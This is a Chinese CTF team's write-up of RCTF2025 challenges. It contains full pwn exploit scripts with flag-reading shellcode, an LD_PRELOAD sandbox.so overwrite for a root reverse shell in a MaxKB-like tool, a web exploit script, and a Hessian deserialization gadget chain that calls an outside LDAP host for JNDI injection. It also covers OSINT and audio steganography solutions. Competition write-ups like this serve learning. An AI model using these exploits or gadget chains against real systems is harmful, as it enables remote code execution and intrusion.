本次 RCTF2025,我们 XMCVE-Polaris 战队排名第 16 。

排名 队伍 总分
11 N0wayBack 6367.56
12 JNSEC 6157.14
13 Ph0t1n1a 5475.99
14 W&M 5064.03
15 _0xFFF_ 5052
16 XMCVE-Polaris 5010.05
17 Nepnep 4589
18 有点调皮 4582.09
19 V&N 4556
20 だから僕はCTFを辞めた 4467.45

PWN

only

程序主要漏洞在 gift 函数内,但是我们如果想要进入 gift 函数 ,需要使我们输入的浮点数在内存中的 8 字节二进制表示,与 0xD0E0A0D0B0E0E0F 完全相等 。

这里我们可以使用 python 的 struct 模块来反向计算这个 double 值 。


在 gift 函数的选项一内,程序开辟了一个可读可写可执行的内存空间,并且在该内存空间的起始部分注入一些数据,经过调试发现,该数据的主要作用其实是对寄存器进行清空操作 ,清空了除去 RBP 和 RSP 之外的其他寄存器,程序还给我们提供了 10 字节的有限输入空间,但由于输入字节数有限,我们无法对目标 shellcode 进行直接构造,所以我们需要想办法拼凑出 read 函数的系统调用,来实现 shellcode 续写 。

pop 指令的字节开销很小,对常见寄存器的操作只需要一个字节,我们可以利用 pop 指令,将栈上的数据弹出到目标寄存器,刚好栈上也存储着我们可读可写可执行空间的地址,由于程序在空间内起始部分清空了寄存器,所以我们只需要控制好 rsi 、rdx 两个寄存器的值即可 ,成功调用 read 函数之后,因为我们构造的 read 函数的写入位置是在可读可写可执行的空间起始处,所以我们需要计算好输入位置到执行下一条指令的偏移,然后覆盖,注入新的 shellcode 即可 。

Exp

from pwn import*
from struct import*

#p = process('./pwn')
p = remote('101.245.98.115',26100)

context(arch='amd64',log_level='debug',os='linux')

p.recvuntil("3.exit\n")
p.sendline("2")
p.recvuntil("input:\n")

packed_bytes = struct.pack('<Q', 0x0D0E0A0D0B0E0E0F)
the_double = struct.unpack('<d', packed_bytes)[0]
p.sendline(str(the_double))

p.sendlineafter('Make a choice:',"1")
p.recvuntil("your code:")

shellcode = """
pop rdx
pop rdx
pop rdx
pop rsi
pop rsi
pop rsi
syscall
"""
shellcode = asm(shellcode)
p.send(shellcode)

shellcode = asm(
"""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
"""
)
payload = b'a'*0x32  + shellcode
p.send(payload)

p.interactive()

only_rev

rev版本将用户可以输入的字数从10字节减少到9字节,而且根据调试下来发现,在执行rwx区域代码时,该版本有多了对栈的操作

add rsp,0x12345678
add rbp,0x12345678
// shellcode
sub rsp,0x12345678
sub rbp,0x12345678

此时的栈根本没有映射,没有办法执行对栈进行操作的指令push\pop\call

在山海关大神的博客中找到这么一个解决办法https://www.cnblogs.com/LynneHuan/p/17822153.html

当寄存器全0时,只需要执行一次syscall,就会把返回地址rip赋值给rcx寄存器,rcx寄存器就会有rwx地址,然后再mov rsi,rcx;mov dl,0xff;syscall,就会reread

所以九字节的构造如下

syscall   //0f 05
mov rsi, rcx  //48 89 ce
mov dl, 0xff //b2 ff
syscall  //0f 05

展示结果如下

syscall执行之前

syscall执行之后

reread执行这一步需要调试观察最后rsi/rcx的值,首先要保证orw需要位于第二个syscall的下方。

之后就是构造orwshellcode,这里还要注意之前提到的此时栈结构,所以就先把栈还原回去,然后执行orw(其实后面的汇编是在编写时vscode copilot自动生成的)

sub rbp,0x12345678
sub rsp,0x12345678
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x50
mov rax,1
syscall

最后是exp

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @file: exp.py
# @author: fuchen
# @contact: MTM3MjIwMzYwQHFxLmNvbQ==
# @created: 2025-11-15
# @description: Pwn exploit template for CTF challenges

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

LOCAL = True
BINARY = "./chal"
LIBC = "./libc.so.6"

HOST = "1.95.164.64"
PORT = 26000

def setup():
    if LOCAL:
        return process(BINARY)
    else:
        return remote(HOST, PORT)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=False  :p.recvuntil(delims, drop)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
uu16    = lambda data               :u16(data.ljust(2, b'\0'))
uu8     = lambda data               :u8(data)
leak    = lambda name,addr          :log.success(f"{name} = {hex(addr)}")
dbg     = lambda cmd=''             :gdb.attach(p, cmd)
def notes():
    sla(b"3.exit\n",b"1")
def add(size):
    sla(b"5.back\n",b"1")
    sla(b"size:",str(size).encode())
def delete():
    sla(b"5.back\n",b"2")
def save(filename):
    sla(b"5.back\n",b"3")
    sl(b"filename: ",filename)
def edit():
    sla(b"5.back\n",b"4")
def back():
    sla(b"5.back\n",b"4")
def bookkeeping():
    sla(b"3.exit\n",b"2")
    sla(b"input:\n",str(8.592564544313935e-246).encode())
def runcode(content):
    sla(b"Make a choice:",b"1")
    sa(b"your code:",content)
def getcanary():
    sla(b"Make a choice:",b"2")
def exploit():
    global p
    p = setup()
    
    elf = ELF(BINARY)
    libc = ELF(LIBC) if LIBC else None
    #dbg('b *$rebase(0x1a79)')
    #pause()
    bookkeeping()
    payload = b"\x0f\x05\x48\x89\xce\xb2\xff\x0f\x05"
    runcode(payload)
    orw = '''
    sub rbp,0x12345678
    sub rsp,0x12345678
    push 0x67616c66
    mov rdi,rsp
    xor rsi,rsi
    mov rax,2
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov rdx,0x50
    xor rax,rax
    syscall
    mov rdi,1
    mov rsi,rsp
    mov rdx,0x50
    mov rax,1
    syscall
    '''
    shellcode = b"\x48\x89\xce\xb2\xff\x0f\x05" + asm(orw)
    sleep(1)
    sl(shellcode)
    #pause()
    
    itr()

if __name__ == "__main__":
    
    try:
        exploit()
    except Exception as e:
        log.error(f"Exploit failed: {e}")
        if 'p' in globals():
            p.close()
        raise

WEB

RootKB

首先本地开个环境,发现在/admin/tool处存在python代码执行,但是在沙箱环境下

调试启动之后成功执行返回2

沙箱环境下的限制是没有/bin/sh,以及一些黑名单,如system,exec,eval等等,且需要提权才可以读取/root/flag

目前可以做到列目录os.listdir("/"),但是可读写只能在沙盒目录下/opt/maxkb-app/sandbox

我们发现这个目录下有一个sandbox.so文件

我们审计源码,尤其是2.3.0->2.3.1变化的部分,新增了一处

@@ -188,6 +194,9 @@ exec({dedent(code)!a})
                     self.user,
                 ],
                 'cwd': self.sandbox_path,
+                'env': {
+                    'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+                },
                 'transport': 'stdio',
             }
         else:
@@ -204,6 +213,9 @@ exec({dedent(code)!a})
             file.write(_code)
             os.system(f"chown {self.user}:root {exec_python_file}")
         kwargs = {'cwd': BASE_DIR}
+        kwargs['env'] = {
+            'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+        }
         subprocess_result = subprocess.run(
             ['su', '-s', python_directory, '-c', "exec(open('" + exec_python_file + "').read())", self.user],
             text=True,

可以看到,假使我们可以覆盖sandbox.so,就可以打LD_PRELOAD劫持,且是高权限了

至于反弹shell的.so文件的编译生成,这里就不提了

def payload():
    import base64
    import os
    malicious_so_b64="xxxx"
    malicious_data = base64.b64decode(malicious_so_b64)
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        f.write(malicious_data)  
    return "sandbox.so replaced successfully"

成功替换之后os.popen("")即可触发反弹shell

cat /root/flag即可

photographer

看到别人上线20分钟秒了就觉得ai能出了,用trae的gpt5-high直接就问出来了

然后就让AI搓一个exp就行了

这道题目的exp如下

# path: exploit.py
import sys, re, uuid, base64, io, requests

def get(url, s):
    r = s.get(url, allow_redirects=True)
    r.raise_for_status()
    return r.text

def post(url, s, data=None, files=None):
    r = s.post(url, data=data, files=files)
    r.raise_for_status()
    return r

def b64png():
    return base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')

def extract_csrf_from_register(html):
    m = re.search(r'name="csrf_token"\s+value="([^"]+)"', html)
    return m.group(1)

def extract_csrf_from_settings(html):
    m = re.search(r"const csrfToken = '([^']+)'", html)
    return m.group(1)

def register(base, s):
    html = get(base + '/register', s)
    token = extract_csrf_from_register(html)
    email = f'{uuid.uuid4().hex[:8]}@example.com'
    data = {
        'username': 'user' + uuid.uuid4().hex[:6],
        'email': email,
        'password': 'Passw0rd!',
        'confirm_password': 'Passw0rd!',
        'csrf_token': token
    }
    r = post(base + '/api/register', s, data=data)
    j = r.json()
    if not j.get('success'):
        raise RuntimeError('register failed: ' + str(j))
    return email

def upload_photo(base, s):
    png = b64png()
    f = io.BytesIO(png)
    files = [('photos[]', ('x.png', f, '-1'))]
    r = post(base + '/api/photos/upload', s, files=files)
    j = r.json()
    if not j.get('success') or not j.get('photos'):
        raise RuntimeError('upload failed: ' + str(j))
    return j['photos'][0]['id']

def set_background(base, s, photo_id):
    html = get(base + '/settings', s)
    token = extract_csrf_from_settings(html)
    data = {'photo_id': photo_id, 'csrf_token': token}
    r = post(base + '/api/user/background', s, data=data)
    j = r.json()
    if not j.get('success'):
        raise RuntimeError('set background failed: ' + str(j))

def get_flag(base, s):
    r = s.get(base + '/superadmin.php')
    if r.status_code == 200:
        return r.text.strip()
    raise RuntimeError('flag fetch failed, status: ' + str(r.status_code))

def main():
    base = sys.argv[1] if len(sys.argv) > 1 else 'http://1.95.160.41:26000/'
    s = requests.Session()
    register(base, s)
    pid = upload_photo(base, s)
    set_background(base, s, pid)
    flag = get_flag(base, s)
    print(flag)

if __name__ == '__main__':
    main()

maybe_easy

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.rctf.server.controller;

import com.rctf.server.tool.HessianFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class RCTFController {
    @RequestMapping({"/hello"})
    public String hello(@RequestParam(name = "data",required = false) String data) throws Exception {
        Object obj = HessianFactory.deserialize(data);
        return "hello";
    }
}

一个简单的hessian反序列化

发现调用了自己实现的HessianFactory

发现使用了白名单

static {
    WHITE_PACKAGES.add("com.rctf.server.tool.");
    WHITE_PACKAGES.add("java.util.");
    WHITE_PACKAGES.add("org.apache.commons.logging.");
    WHITE_PACKAGES.add("org.springframework.beans.");
    WHITE_PACKAGES.add("org.springframework.jndi.");
}

发现出题人自定义的一个类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.rctf.server.tool;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Maybe extends Proxy implements Comparable<Object>, Serializable {
    public Maybe(InvocationHandler h) {
        super(h);
    }

    public int compareTo(Object o) {
        try {
            Method method = Comparable.class.getMethod("compareTo", Object.class);
            Object result = this.h.invoke(this, method, new Object[]{o});
            return (Integer)result;
        } catch (Throwable e) {
            throw new RuntimeException(e);
        }
    }
}

这个类是可以被treemap进行触发compareTo触发其他类的动态代理的

a316a71667b5f57e7391aa7be3cb6bc0

使用n1ght_codeql搭建数据库

编写查询语句

/**
 * @name Empty block
 * @kind problem
 * @problem.severity warning
 * @id java/example/empty-block
 */

import java
import libs.Source
import libs.DangerousMethods

class InvokerHandler extends Class {
  InvokerHandler() {
    this.getASupertype*().getQualifiedName() = "java.lang.reflect.InvocationHandler" and
    (
      this.getQualifiedName().regexpMatch("java.util.+") or
      this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
      this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
      this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
    )
  }
}

class HessianObjectFactory extends Method {
  HessianObjectFactory() {
    // this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory"
    this.getName() = "getObject" and
    this.hasNoParameters() and
    (
      this.getQualifiedName().regexpMatch("java.util.+") or
      this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
      this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
      this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
    )
  }
}

// from HessianObjectFactory i, DangerousMethod m
// where i.calls(m)
// select i
from DangerousMethod m
select m, m.getName()

发现了

private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
    private final ObjectFactory<?> objectFactory;

    ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
        this.objectFactory = objectFactory;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        switch (method.getName()) {
            case "equals":
                return proxy == args[0];
            case "hashCode":
                return System.identityHashCode(proxy);
            case "toString":
                return this.objectFactory.toString();
            default:
                try {
                    return method.invoke(this.objectFactory.getObject(), args);
                } catch (InvocationTargetException ex) {
                    throw ex.getTargetException();
                }
        }
    }
}

发现了这个类

调用了实现了这个接口的getObject

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.springframework.beans.factory;

import org.springframework.beans.BeansException;

@FunctionalInterface
public interface ObjectFactory<T> {
    T getObject() throws BeansException;
}

这个时候使用第二个查询语句就发现了

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.springframework.beans.factory.config;

import java.io.Serializable;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.lang.Nullable;
import org.springframework.util.Assert;

public class ObjectFactoryCreatingFactoryBean extends AbstractFactoryBean<ObjectFactory<Object>> {
    @Nullable
    private String targetBeanName;

    public void setTargetBeanName(String targetBeanName) {
        this.targetBeanName = targetBeanName;
    }

    public void afterPropertiesSet() throws Exception {
        Assert.hasText(this.targetBeanName, "Property 'targetBeanName' is required");
        super.afterPropertiesSet();
    }

    public Class<?> getObjectType() {
        return ObjectFactory.class;
    }

    protected ObjectFactory<Object> createInstance() {
        BeanFactory beanFactory = this.getBeanFactory();
        Assert.state(beanFactory != null, "No BeanFactory available");
        Assert.state(this.targetBeanName != null, "No target bean name specified");
        return new TargetBeanObjectFactory(beanFactory, this.targetBeanName);
    }

    private static class TargetBeanObjectFactory implements ObjectFactory<Object>, Serializable {
        private final BeanFactory beanFactory;
        private final String targetBeanName;

        public TargetBeanObjectFactory(BeanFactory beanFactory, String targetBeanName) {
            this.beanFactory = beanFactory;
            this.targetBeanName = targetBeanName;
        }

        public Object getObject() throws BeansException {
            return this.beanFactory.getBean(this.targetBeanName);
        }
    }
}

这里面调用了实现了BeanFactory接口的getBean

这时候codeql编写语句就发现了

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.springframework.jndi.support;

import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import javax.naming.NameNotFoundException;
import javax.naming.NamingException;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.BeanDefinitionStoreException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.BeanNotOfRequiredTypeException;
import org.springframework.beans.factory.NoSuchBeanDefinitionException;
import org.springframework.beans.factory.NoUniqueBeanDefinitionException;
import org.springframework.beans.factory.ObjectProvider;
import org.springframework.core.ResolvableType;
import org.springframework.jndi.JndiLocatorSupport;
import org.springframework.jndi.TypeMismatchNamingException;
import org.springframework.lang.Nullable;

public class SimpleJndiBeanFactory extends JndiLocatorSupport implements BeanFactory {
    private final Set<String> shareableResources = new HashSet();
    private final Map<String, Object> singletonObjects = new HashMap();
    private final Map<String, Class<?>> resourceTypes = new HashMap();

    public SimpleJndiBeanFactory() {
        this.setResourceRef(true);
    }

    public void addShareableResource(String shareableResource) {
        this.shareableResources.add(shareableResource);
    }

    public void setShareableResources(String... shareableResources) {
        Collections.addAll(this.shareableResources, shareableResources);
    }

    public Object getBean(String name) throws BeansException {
        return this.getBean(name, Object.class);
    }

    public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
        try {
            return (T)(this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType));
        } catch (NameNotFoundException var4) {
            throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
        } catch (TypeMismatchNamingException ex) {
            throw new BeanNotOfRequiredTypeException(name, ex.getRequiredType(), ex.getActualType());
        } catch (NamingException ex) {
            throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", ex);
        }
    }

    public Object getBean(String name, @Nullable Object... args) throws BeansException {
        if (args != null) {
            throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments");
        } else {
            return this.getBean(name);
        }
    }

    public <T> T getBean(Class<T> requiredType) throws BeansException {
        return (T)this.getBean(requiredType.getSimpleName(), requiredType);
    }

    public <T> T getBean(Class<T> requiredType, @Nullable Object... args) throws BeansException {
        if (args != null) {
            throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments");
        } else {
            return (T)this.getBean(requiredType);
        }
    }

    public <T> ObjectProvider<T> getBeanProvider(final Class<T> requiredType) {
        return new ObjectProvider<T>() {
            public T getObject() throws BeansException {
                return (T)SimpleJndiBeanFactory.this.getBean(requiredType);
            }

            public T getObject(Object... args) throws BeansException {
                return (T)SimpleJndiBeanFactory.this.getBean(requiredType, args);
            }

            @Nullable
            public T getIfAvailable() throws BeansException {
                try {
                    return (T)SimpleJndiBeanFactory.this.getBean(requiredType);
                } catch (NoUniqueBeanDefinitionException ex) {
                    throw ex;
                } catch (NoSuchBeanDefinitionException var3) {
                    return null;
                }
            }

            @Nullable
            public T getIfUnique() throws BeansException {
                try {
                    return (T)SimpleJndiBeanFactory.this.getBean(requiredType);
                } catch (NoSuchBeanDefinitionException var2) {
                    return null;
                }
            }
        };
    }

    public <T> ObjectProvider<T> getBeanProvider(ResolvableType requiredType) {
        throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support resolution by ResolvableType");
    }

    public boolean containsBean(String name) {
        if (!this.singletonObjects.containsKey(name) && !this.resourceTypes.containsKey(name)) {
            try {
                this.doGetType(name);
                return true;
            } catch (NamingException var3) {
                return false;
            }
        } else {
            return true;
        }
    }

    public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
        return this.shareableResources.contains(name);
    }

    public boolean isPrototype(String name) throws NoSuchBeanDefinitionException {
        return !this.shareableResources.contains(name);
    }

    public boolean isTypeMatch(String name, ResolvableType typeToMatch) throws NoSuchBeanDefinitionException {
        Class<?> type = this.getType(name);
        return type != null && typeToMatch.isAssignableFrom(type);
    }

    public boolean isTypeMatch(String name, @Nullable Class<?> typeToMatch) throws NoSuchBeanDefinitionException {
        Class<?> type = this.getType(name);
        return typeToMatch == null || type != null && typeToMatch.isAssignableFrom(type);
    }

    @Nullable
    public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
        return this.getType(name, true);
    }

    @Nullable
    public Class<?> getType(String name, boolean allowFactoryBeanInit) throws NoSuchBeanDefinitionException {
        try {
            return this.doGetType(name);
        } catch (NameNotFoundException var4) {
            throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
        } catch (NamingException var5) {
            return null;
        }
    }

    public String[] getAliases(String name) {
        return new String[0];
    }

    private <T> T doGetSingleton(String name, @Nullable Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object singleton = this.singletonObjects.get(name);
            if (singleton != null) {
                if (requiredType != null && !requiredType.isInstance(singleton)) {
                    throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, singleton.getClass());
                } else {
                    return (T)singleton;
                }
            } else {
                T jndiObject = (T)this.lookup(name, requiredType);
                this.singletonObjects.put(name, jndiObject);
                return jndiObject;
            }
        }
    }

    private Class<?> doGetType(String name) throws NamingException {
        if (this.isSingleton(name)) {
            return this.doGetSingleton(name, (Class)null).getClass();
        } else {
            synchronized(this.resourceTypes) {
                Class<?> type = (Class)this.resourceTypes.get(name);
                if (type == null) {
                    type = this.lookup(name, (Class)null).getClass();
                    this.resourceTypes.put(name, type);
                }

                return type;
            }
        }
    }
}

可以触发jndi,后面就是jdk原生反序列化的事情,走pojonode->spring aop->templatesImpl的事情了

package org.example;

import com.rctf.server.tool.Maybe;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.misc.Unsafe;
import ysomap.core.util.ReflectionHelper;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;
import java.util.TreeSet;

public class Exp {
    public static void main(String[] args) throws  Exception{
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Class<?> name = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
        Object o1 = unsafe.allocateInstance(name);
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

        unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("beanFactory")),simpleJndiBeanFactory);
        unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("targetBeanName")),"ldap://112.124.59.213:50389/a1ab9c");


        InvocationHandler o = (InvocationHandler) unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));
        long objectFactory = unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory"));
        unsafe.getAndSetObject(o,objectFactory,o1);
        Maybe maybe = new Maybe(o);
        TreeSet treeSet = makeTreeSet(maybe, maybe);
        String serialize = HessianFactory.serialize(treeSet);
        System.out.println(serialize);
//        HessianFactory.deserialize(serialize);
    }
    public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception {
        TreeMap<Object,Object> m = new TreeMap<>();
        ReflectionHelper.setFieldValue(m, "size", 2);
        ReflectionHelper.setFieldValue(m, "modCount", 2);
        Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
        Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
        ReflectionHelper.setAccessible(nodeCons);
        Object node = nodeCons.newInstance(v1, new Object[0], null);
        Object right = nodeCons.newInstance(v2, new Object[0], node);
        ReflectionHelper.setFieldValue(node, "right", right);
        ReflectionHelper.setFieldValue(m, "root", node);

        TreeSet set = new TreeSet();
        ReflectionHelper.setFieldValue(set, "m", m);
        return set;
    }

}

Misc

Speak Softly Love

1.8ssDGBTssUI
2.r178
3.https://mateusz.viste.fr/mateusz.ogg
4.16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

第一问

根据视频试图先找到电脑型号,然后结合关键词music,youtube搜索找到这个。

57d102e55a86e97acc04f71e4258e41e

8ssDGBTssUI

第二问

查找DOSmid

https://www.vogons.org/viewtopic.php?t=44947

image

先找到关于这个的大致信息

使用的svn

svn co svn://svn.mateusz.fr/dosmid dosmid-svn

然后基于上述关键词去查找

root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 200:350 | egrep -i "playlist|m3u|freeze|empty|loop|soft"
freezed v0.9 to tags
freezed v0.9.1 to tags
sequential playing of playlists, inspired by a patch proposed by Graham Wiseman
freezed v0.9.2 into tags
freezed v0.9.3 to tags
m3u playlist uses fio calls instead of fopen() and friends
fix: /random was always playing first song of the m3u list, now it is random from the start
fixed playlist gap delay computation (fixed /delay behavior, too)
freezed v0.9.4 to tags
freezed v0.9.5 to tags
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | egrep -i "playlist|m3u|freeze|empty|loop|soft"
do not freeze when no MPU401 is responding
setting volume in software again, reinstated default delay=2ms, improved keyboard reaction times and adjusted documentation
added INT28h powersaving during idle loops
detecting when a playlist is passed on command-line (but no m3u support yet)
first semi-experimental M3U support
freezed v0.6 into tags
freezed v0.6.1 into tags
freezed v0.7 in tags
freezed v0.8 into tags
added an empty and self-documented configuration file
2s silence gap is inserted only in playlist mode (no reason to wait 2s for a single file)
fixed freezing when fed with an empty playlist
if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
add a note about empty titles, when no textual data could be found in the midi file
ignore leading empty title lines
freezed v0.9 to tags
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | grep -n "soft"
260:setting volume in software again, reinstated default delay=2ms, improved keyboard reaction times and adjusted documentation
712:if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | sed -n '710,720p'
r178 | mv_fox | 2016-05-09 01:21:38 +0800 (Mon, 09 May 2016) | 1 line

if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
------------------------------------------------------------------------
r179 | mv_fox | 2016-05-09 01:25:49 +0800 (Mon, 09 May 2016) | 1 line

replaced sleep() calls with equivalent udelay() calls (makes the binary 128 bytes lighter)
------------------------------------------------------------------------
r180 | mv_fox | 2016-05-10 02:04:00 +0800 (Tue, 10 May 2016) | 1 line

fetching more textual data from MIDI files (text events, tracks titles, marker events...) and displaying it on a little scrolling window

可以锁定在r178-180,然后试r178就直接对了

r178

第三问


根据评论区找到主页

主页里
想联系我吗?我的电子邮件地址与此网页的地址几乎相同(firstname@lastname.fr)。
令人惊讶的是,很多人难以念出我的名字,所以这里附上我的名字(图片来自 Wikimedia)。
https://mateusz.viste.fr/mateusz.ogg

第四问

在主页发现了

image

gopher://gopher.viste.fr

image

在26里找到了

image

16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

The Alchemist’s Cage

image

image

image

image

Wanna Feel Love

Challenge 1

She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.

邮件隐写

https://www.spammimic.com

image

Don't just listen to the sound; this file is hiding an 'old relic.' Try looking for the 'comments' that the player isn't supposed to see.

Challenge 2

She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.

然后下载openmpt

评论和乐曲名有提示

88e607d2431d6d3e663259e0bb02ddc4

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Decode hidden message from feel.wav binary-bar waveform.
Expected output: I Feel Fantastic heyheyhey
"""

import numpy as np
from scipy.io import wavfile


def read_mono_pcm(path: str):
    rate, data = wavfile.read(path)
    data = data.astype(float)
    if data.ndim > 1:   # 立体声只取一个声道
        data = data[:, 0]
    return rate, data


def compute_envelope(data: np.ndarray, window_size: int = 100) -> np.ndarray:
    """对绝对值做滑动平均,得到能量包络"""
    abs_data = np.abs(data)
    n = len(abs_data) // window_size * window_size
    reshaped = abs_data[:n].reshape(-1, window_size)
    env = reshaped.mean(axis=1)
    return env


def binarize_envelope(env: np.ndarray) -> np.ndarray:
    """根据能量双峰分布自动求阈值,得到 0/1 序列"""
    median_env = np.median(env)
    low_level = np.median(env[env < median_env])
    high_level = np.median(env[env > median_env])
    threshold = (low_level + high_level) / 2.0
    bits_raw = (env > threshold).astype(int)
    return bits_raw


def run_length_encode(bits: np.ndarray):
    runs = []
    current = bits[0]
    length = 1
    for b in bits[1:]:
        if b == current:
            length += 1
        else:
            runs.append((current, length))
            current = b
            length = 1
    runs.append((current, length))
    return runs


def expand_runs_to_bits(runs):
    """
    每一串 0/1 在时间上会持续若干个“单位长度”,
    大部分长度约是 22 的倍数,这里固定 base_unit = 22,
    再按 round(length / base_unit) 还原成重复 bit。
    """
    base_unit = 22.0  # 针对 feel.wav 这题是固定的
    bit_list = []
    for v, l in runs:
        n = int(round(l / base_unit))
        if n <= 0:
            n = 1
        bit_list.extend([v] * n)
    return bit_list


def bits_to_ascii(bit_list):
    bitstr = "".join(str(b) for b in bit_list)
    bitstr = bitstr[: len(bitstr) // 8 * 8]  # 截断到 8 的倍数
    bytes_vals = [int(bitstr[i : i + 8], 2) for i in range(0, len(bitstr), 8)]
    msg = "".join(chr(b) for b in bytes_vals)
    return msg, bytes_vals, bitstr


def decode_hidden_message(path: str):
    rate, data = read_mono_pcm(path)
    env = compute_envelope(data, window_size=100)
    bits_raw = binarize_envelope(env)
    runs = run_length_encode(bits_raw)
    bit_list = expand_runs_to_bits(runs)
    msg, bytes_vals, bitstr = bits_to_ascii(bit_list)
    return msg, bytes_vals, bitstr


if __name__ == "__main__":
    # 把这里改成你的文件名(与脚本在同一路径下)
    wav_path = "feel.wav"

    msg, bytes_vals, bitstr = decode_hidden_message(wav_path)

    print("Decoded bytes:", bytes_vals)
    print("Decoded message:")
    print(msg)
I Feel Fantastic heyheyhey

Challenge 3

She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.

在网络存档上找到原视频

https://archive.org/details/youtube-rLy-AwdCOmI

image

rLy-AwdCOmI
Creepyblog
2009-04-15

Challenge 4

